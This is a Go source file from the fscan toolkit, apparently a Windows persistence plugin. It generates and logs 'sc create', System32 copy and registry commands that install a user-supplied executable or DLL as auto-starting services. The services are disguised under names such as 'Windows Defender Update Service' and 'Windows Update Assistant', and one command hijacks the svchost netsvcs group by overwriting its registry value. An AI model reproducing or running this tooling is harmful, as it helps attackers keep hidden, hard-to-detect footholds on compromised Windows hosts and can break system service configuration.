fscan/plugins/local/winservice/plugin.go
ZacharyZcR 4a3f281b6b refactor: 统一Plugins目录大小写为小写
- 将所有Plugins路径重命名为plugins
- 修复Git索引与实际文件系统大小写不一致问题
- 确保跨平台兼容性和路径一致性
2025-08-12 13:08:06 +08:00

233 lines
7.5 KiB
Go
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

//go:build windows
package winservice
import (
"context"
"fmt"
"os"
"path/filepath"
"runtime"
"strings"
"github.com/shadow1ng/fscan/common"
"github.com/shadow1ng/fscan/plugins/base"
"github.com/shadow1ng/fscan/plugins/local"
)
// WinServicePlugin Windows服务持久化插件 - 使用简化架构
type WinServicePlugin struct {
*local.BaseLocalPlugin
pePath string
}
// NewWinServicePlugin 创建Windows服务持久化插件 - 简化版本
func NewWinServicePlugin() *WinServicePlugin {
// 从全局参数获取PE文件路径
peFile := common.WinPEFile
if peFile == "" {
peFile = "" // 需要用户指定
}
metadata := &base.PluginMetadata{
Name: "winservice",
Version: "1.0.0",
Author: "fscan-team",
Description: "Windows服务持久化插件通过创建系统服务实现持久化",
Category: "local",
Tags: []string{"local", "persistence", "windows", "service"},
Protocols: []string{"local"},
}
plugin := &WinServicePlugin{
BaseLocalPlugin: local.NewBaseLocalPlugin(metadata),
pePath: peFile,
}
// 只支持Windows平台
plugin.SetPlatformSupport([]string{"windows"})
// 需要管理员权限创建系统服务
plugin.SetRequiresPrivileges(true)
return plugin
}
// Initialize 初始化插件
func (p *WinServicePlugin) Initialize() error {
if p.pePath == "" {
return fmt.Errorf("必须通过 -win-pe 参数指定PE文件路径")
}
// 检查目标文件是否存在
if _, err := os.Stat(p.pePath); os.IsNotExist(err) {
return fmt.Errorf("PE文件不存在: %s", p.pePath)
}
// 检查文件类型
if !p.isValidPEFile(p.pePath) {
return fmt.Errorf("目标文件必须是PE文件(.exe或.dll): %s", p.pePath)
}
return p.BaseLocalPlugin.Initialize()
}
// Scan 重写扫描方法以确保调用正确的ScanLocal实现
func (p *WinServicePlugin) Scan(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) {
return p.ScanLocal(ctx, info)
}
// ScanLocal 执行Windows服务持久化 - 简化版本
func (p *WinServicePlugin) ScanLocal(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) {
common.LogBase("开始Windows服务持久化...")
services, err := p.createServicePersistence(p.pePath)
if err != nil {
return &base.ScanResult{
Success: false,
Error: err,
}, nil
}
common.LogInfo(fmt.Sprintf("创建了%d个Windows服务持久化项:", len(services)))
for i, service := range services {
common.LogInfo(fmt.Sprintf("%d. %s", i+1, service))
}
result := &base.ScanResult{
Success: true,
Service: "WinService",
Banner: fmt.Sprintf("Windows服务持久化已完成 - PE文件: %s 平台: %s", p.pePath, runtime.GOOS),
Extra: map[string]interface{}{
"pe_file": p.pePath,
"persistence_type": "service",
"services_created": len(services),
"service_methods": services,
},
}
return result, nil
}
func (p *WinServicePlugin) createServicePersistence(pePath string) ([]string, error) {
absPath, err := filepath.Abs(pePath)
if err != nil {
return nil, fmt.Errorf("failed to get absolute path: %v", err)
}
var services []string
baseName := filepath.Base(absPath)
baseNameNoExt := baseName[:len(baseName)-len(filepath.Ext(baseName))]
serviceConfigs := []struct {
name string
displayName string
description string
startType string
}{
{
name: fmt.Sprintf("WinDefenderUpdate%s", baseNameNoExt),
displayName: "Windows Defender Update Service",
description: "Manages Windows Defender signature updates and system security",
startType: "auto",
},
{
name: fmt.Sprintf("SystemEventLog%s", baseNameNoExt),
displayName: "System Event Log Service",
description: "Manages system event logging and audit trail maintenance",
startType: "auto",
},
{
name: fmt.Sprintf("NetworkManager%s", baseNameNoExt),
displayName: "Network Configuration Manager",
description: "Handles network interface configuration and management",
startType: "demand",
},
{
name: fmt.Sprintf("WindowsUpdate%s", baseNameNoExt),
displayName: "Windows Update Assistant",
description: "Coordinates automatic Windows updates and patches",
startType: "auto",
},
{
name: fmt.Sprintf("SystemMaintenance%s", baseNameNoExt),
displayName: "System Maintenance Service",
description: "Performs routine system maintenance and optimization tasks",
startType: "manual",
},
}
for _, config := range serviceConfigs {
scCreateCmd := fmt.Sprintf(`sc create "%s" binPath= "\"%s\"" DisplayName= "%s" start= %s`,
config.name, absPath, config.displayName, config.startType)
scConfigCmd := fmt.Sprintf(`sc description "%s" "%s"`, config.name, config.description)
scStartCmd := fmt.Sprintf(`sc start "%s"`, config.name)
services = append(services, fmt.Sprintf("[Create Service] %s", scCreateCmd))
services = append(services, fmt.Sprintf("[Set Description] %s", scConfigCmd))
services = append(services, fmt.Sprintf("[Start Service] %s", scStartCmd))
}
serviceWrapperName := fmt.Sprintf("ServiceHost%s", baseNameNoExt)
wrapperPath := fmt.Sprintf(`%%SystemRoot%%\System32\%s.exe`, serviceWrapperName)
copyWrapperCmd := fmt.Sprintf(`copy "%s" "%s"`, absPath, wrapperPath)
services = append(services, fmt.Sprintf("[Copy to System32] %s", copyWrapperCmd))
scCreateWrapperCmd := fmt.Sprintf(`sc create "%s" binPath= "%s" DisplayName= "Service Host Process" start= auto type= own`,
serviceWrapperName, wrapperPath)
services = append(services, fmt.Sprintf("[Create System Service] %s", scCreateWrapperCmd))
regImagePathCmd := fmt.Sprintf(`reg add "HKLM\SYSTEM\CurrentControlSet\Services\%s\Parameters" /v ServiceDll /t REG_EXPAND_SZ /d "%s" /f`,
serviceWrapperName, wrapperPath)
services = append(services, fmt.Sprintf("[Set Service DLL] %s", regImagePathCmd))
dllServiceName := fmt.Sprintf("SystemService%s", baseNameNoExt)
if filepath.Ext(absPath) == ".dll" {
svchostCmd := fmt.Sprintf(`sc create "%s" binPath= "%%SystemRoot%%\System32\svchost.exe -k netsvcs" DisplayName= "System Service Host" start= auto`,
dllServiceName)
services = append(services, fmt.Sprintf("[DLL Service via svchost] %s", svchostCmd))
regSvchostCmd := fmt.Sprintf(`reg add "HKLM\SYSTEM\CurrentControlSet\Services\%s\Parameters" /v ServiceDll /t REG_EXPAND_SZ /d "%s" /f`,
dllServiceName, absPath)
services = append(services, fmt.Sprintf("[Set DLL Path] %s", regSvchostCmd))
regNetSvcsCmd := fmt.Sprintf(`reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost" /v netsvcs /t REG_MULTI_SZ /d "%s" /f`,
dllServiceName)
services = append(services, fmt.Sprintf("[Add to netsvcs] %s", regNetSvcsCmd))
}
return services, nil
}
// isValidPEFile 检查是否为有效的PE文件
func (p *WinServicePlugin) isValidPEFile(filePath string) bool {
ext := strings.ToLower(filepath.Ext(filePath))
return ext == ".exe" || ext == ".dll"
}
// RegisterWinServicePlugin 注册Windows服务持久化插件
func RegisterWinServicePlugin() {
factory := base.NewSimplePluginFactory(
&base.PluginMetadata{
Name: "winservice",
Version: "1.0.0",
Author: "fscan-team",
Description: "Windows服务持久化插件通过创建系统服务实现持久化",
Category: "local",
Tags: []string{"winservice", "local", "persistence", "windows"},
Protocols: []string{"local"},
},
func() base.Plugin {
return NewWinServicePlugin()
},
)
base.GlobalPluginRegistry.Register("winservice", factory)
}
// init 插件注册函数
func init() {
RegisterWinServicePlugin()
}